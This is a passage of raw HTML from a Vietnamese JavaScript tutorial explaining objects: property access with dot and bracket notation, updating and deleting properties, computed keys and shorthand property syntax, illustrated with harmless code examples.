punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Hoặc sử dụng hàm khởi tạo object</span> <span class="token keyword">let</span> yourComputer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, <code>new Object()</code> là cú pháp <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> khởi tạo của <strong>object</strong>. Cách này ít sử dụng hơn cách đầu tiên.</p> <h2 id="cách-sử-dụng-object-trong-javascript" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-object-trong-javascript" aria-label="cách sử dụng object trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng object trong JavaScript</h2> <p>Khi đã khởi tạo được object rồi thì vấn đề tiếp theo là làm sao sử dụng được object. Cụ thể là cách thức để truy cập vào thuộc tính của object.</p> <p>Có 2 cách để lấy ra giá trị của một thuộc tính trong object:</p> <ul> <li>Sử dụng toán tử <strong>chấm</strong> <code>.</code> theo sau là tên thuộc tính.</li> <li>Sử dụng toán tử <strong>ngoặc vuông</strong> <code>[]</code>, bên trong là tên thuộc tính.</li> </ul> <p>Ví dụ mô tả cách truy cập thuộc tính object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token literal-property property">os</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token literal-property property">graphicCard</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// laptop</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>brand<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sony</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>os<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Windows 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>graphicCard<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NVIDIA</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"type"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => laptop</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"brand"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Sony</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"os"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Windows 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"graphicCard"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => NVIDIA</span></code></pre></div> <p>Đặc biệt, toán tử <code>.</code> chỉ dùng được trong trường hợp tên thuộc tính không có kí tự đặc biệt (ngoại trừ kí tự <code>_</code> và <code>$</code>).</p> <p>Khi <strong>key</strong> chứa dấu cách, hoặc các ký tự đặc biệt khác thì bạn bắt buộc phải sử dụng toán tử <code>[]</code>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">_type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">$brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string-property property">"operating system"</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string-property property">"graphic card"</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>_type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// laptop</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>$brand<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sony</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"operating system"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Windows 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>operating system<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ERROR -> lỗi cú pháp</span></code></pre></div> <blockquote> <p>📝 Khi <strong>key</strong> chứa dấu cách hoặc các ký tự đặc biệt (khác <code>_</code> và <code>$</code>), bạn cần phải để <strong>key</strong> bên trong cặp dấu nháy kép <code>""</code> hoặc nháy đơn <code>''</code>.</p> </blockquote> <p><strong>Chú ý:</strong> Trong các ví dụ trên, mình in ra giá trị từng thuộc tính của object để minh họa. Thực tế, bạn có thể dùng <a href="/thu-thuat-su-dung-console-hieu-qua/"><code>console.log</code></a> để in ra toàn bộ object.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token literal-property property">os</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token literal-property property">graphicCard</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kiểm tra trên <a href="/dev-tools-la-gi/">Dev Tools</a>, bạn sẽ thấy toàn bộ object được in ra.</p> <h2 id="cập-nhật-javascript-object" style="position:relative;"><a href="#c%E1%BA%ADp-nh%E1%BA%ADt-javascript-object" aria-label="cập nhật javascript object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cập nhật JavaScript object</h2> <p>Để <strong>thay đổi giá trị thuộc tính</strong> của object, bạn chỉ cần sử dụng cách truy cập ở trên và gán giá trị mới cho thuộc tính đó.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string-property property">"operating system"</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string-property property">"graphic card"</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">myComputer<span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"desktop"</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">myComputer<span class="token punctuation">[</span><span class="token string">"operating system"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"Ubuntu"</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => desktop</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"operating system"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Ubuntu</span></code></pre></div> <p>Bạn cũng có thể <strong>thêm thuộc tính cho object</strong> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string-property property">"operating system"</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string-property property">"graphic card"</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">myComputer<span class="token punctuation">.</span>status <span class="token operator">=</span> <span class="token string">"sleep"</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">myComputer<span class="token punctuation">[</span><span class="token string">"it is good"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>status<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sleep</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"it is good"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span></code></pre></div> <p>Để <strong>xóa một thuộc tính của object</strong> trong JavaScript, bạn sử dụng toán tử <code>delete</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string-property property">"operating system"</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string-property property">"graphic card"</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">delete</span> myComputer<span class="token punctuation">.</span>brand<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">delete</span> myComputer<span class="token punctuation">[</span><span class="token string">"graphic card"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>brand<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"graphic card"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Khi bạn đã xóa thuộc tính <code>brand</code> và <code>"graphic card"</code> thì các thuộc tính này không tồn tại trong object nữa, hay giá trị của chúng trở thành <code>undefined</code>.</p> <p>Nói cách khác, giá trị của một thuộc tính không tồn tại trong object là <code>undefined</code>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string-property property">"operating system"</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string-property property">"graphic card"</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>status<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"it is good"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span></code></pre></div> <h2 id="toán-tử-ngoặc-vuông--trong-object-js" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-ngo%E1%BA%B7c-vu%C3%B4ng--trong-object-js" aria-label="toán tử ngoặc vuông trong object js permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử ngoặc vuông <code>[]</code> trong object JS</h2> <p>JavaScript cho phép bạn truy cập vào thuộc tính với giá trị của <strong>key</strong> là <a href="/bien-la-gi-bien-trong-javascript/">biến</a> hoặc biểu thức.</p> <p>Khi đó, giá trị của <strong>key</strong> sẽ được tính toán trong thời gian chạy (<strong>runtime</strong>), ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string-property property">"operating system"</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string-property property">"graphic card"</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng biến</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> operatingSystem <span class="token operator">=</span> <span class="token string">"operating system"</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span>operatingSystem<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Windows 7</span></span> <span class="token comment">// sử dụng biểu thức</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"graphic"</span> <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> <span class="token string">"card"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NVIDIA</span></span></code></pre></div> <p><strong>Chú ý</strong>: bạn không thể sử dụng toán tử <code>.</code> theo cách tương tự trên.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string-property property">"operating system"</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string-property property">"graphic card"</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> operatingSystem <span class="token operator">=</span> <span class="token string">"operating system"</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>operatingSystem<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span></code></pre></div> <p>Trong trường hợp <code>myComputer.operatingSystem</code>, JavaScript hiểu là bạn đang muốn truy cập vào thuộc tính <code>operatingSystem</code> mà trong object <code>myComputer</code> lại không có thuộc tính nào như vậy.</p> <h2 id="khởi-tạo-thuộc-tính-runtime-cho-object" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-thu%E1%BB%99c-t%C3%ADnh-runtime-cho-object" aria-label="khởi tạo thuộc tính runtime cho object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo thuộc tính runtime cho object</h2> <p>Không chỉ dừng lại ở việc truy cập thuộc tính runtime, bạn cũng có thể dùng toán tử <code>[]</code> để khởi tạo object trong JavaScript như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> t <span class="token operator">=</span> <span class="token string">"type"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> operatingSystem <span class="token operator">=</span> <span class="token string">"operating system"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>operatingSystem<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"graphic"</span> <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> <span class="token string">"card"</span><span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "laptop"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"operating system"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Windows 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">[</span><span class="token string">"graphic card"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NVIDIA</span></code></pre></div> <h2 id="cú-pháp-rút-gọn-thuộc-tính-khi-khởi-tạo-object" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-r%C3%BAt-g%E1%BB%8Dn-thu%E1%BB%99c-t%C3%ADnh-khi-kh%E1%BB%9Fi-t%E1%BA%A1o-object" aria-label="cú pháp rút gọn thuộc tính khi khởi tạo object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp rút gọn thuộc tính khi khởi tạo object</h2> <p>Khi lập trình, bạn sẽ gặp trường hợp là: bạn muốn sử dụng tên biến làm thuộc tính cho object, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeComputer</span><span class="token punctuation">(</span><span class="token parameter">type<span class="token punctuation">,</span> brand<span class="token punctuation">,</span> os<span class="token punctuation">,</span> graphicCard</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> type<span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> brand<span class="token punctuation">,</span> <span class="token literal-property property">os</span><span class="token operator">:</span> os<span class="token punctuation">,</span> <span class="token literal-property property">graphicCard</span><span class="token operator">:</span> graphicCard<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Ví dụ</span> <span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token function">makeComputer</span><span class="token punctuation">(</span><span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// laptop</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>brand<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sony</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>os<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Windows 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>graphicCard<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NVIDIA</span></code></pre></div> <p>Trong ví dụ trên, bạn thấy rằng các thuộc tính trùng với tên của tham số truyền vào hàm: <code>type: type</code>, <code>brand: brand</code>, <code>os: os</code> và <code>graphicCard: graphicCard</code>.</p> <p>Để tránh phải viết lặp lại như vậy, JavaScript cung cấp cú pháp rút gọn như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeComputer</span><span class="token punctuation">(</span><span class="token parameter">type<span class="token punctuation">,</span> brand<span class="token punctuation">,</span> os<span class="token punctuation">,</span> graphicCard</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> type<span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> brand<span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> os<span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> graphicCard<span class="token punctuation">,</span></span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Ví dụ</span> <span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token function">makeComputer</span><span class="token punctuation">(</span><span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// laptop</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>brand<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sony</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>os<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Windows 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myComputer<span class="token punctuation">.</span>graphicCard<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NVIDIA</span></code></pre></div> <h2 id="giới-hạn-về-tên-thuộc-tính-của-object-trong-js" style="position:relative;"><a href="#gi%E1%BB%9Bi-h%E1%BA%A1n-v%E1%BB%81-t%C3%AAn-thu%E1%BB%99c-t%C3%ADnh-c%E1%BB%A7a-object-trong-js" aria-label="giới hạn về tên thuộc tính của object trong js permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giới hạn về tên thuộc tính của object trong JS</h2> <p>Như bạn đã biết, bạn không được phép sử dụng <strong>từ khóa và từ dữ trữ</strong> để đặt tên biến trong JavaScript, ví dụ như: "var", "const", "let", "for", "while",...</p> <p>Nhưng với thuộc tính trong object khác, bạn không bị giới hạn này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token keyword">var</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token keyword">let</span><span class="token operator">:</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token keyword">for</span><span class="token operator">:</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">while</span><span class="token operator">:</span> <span class="token number">NaN</span><span class="token punctuation">,</span> <span 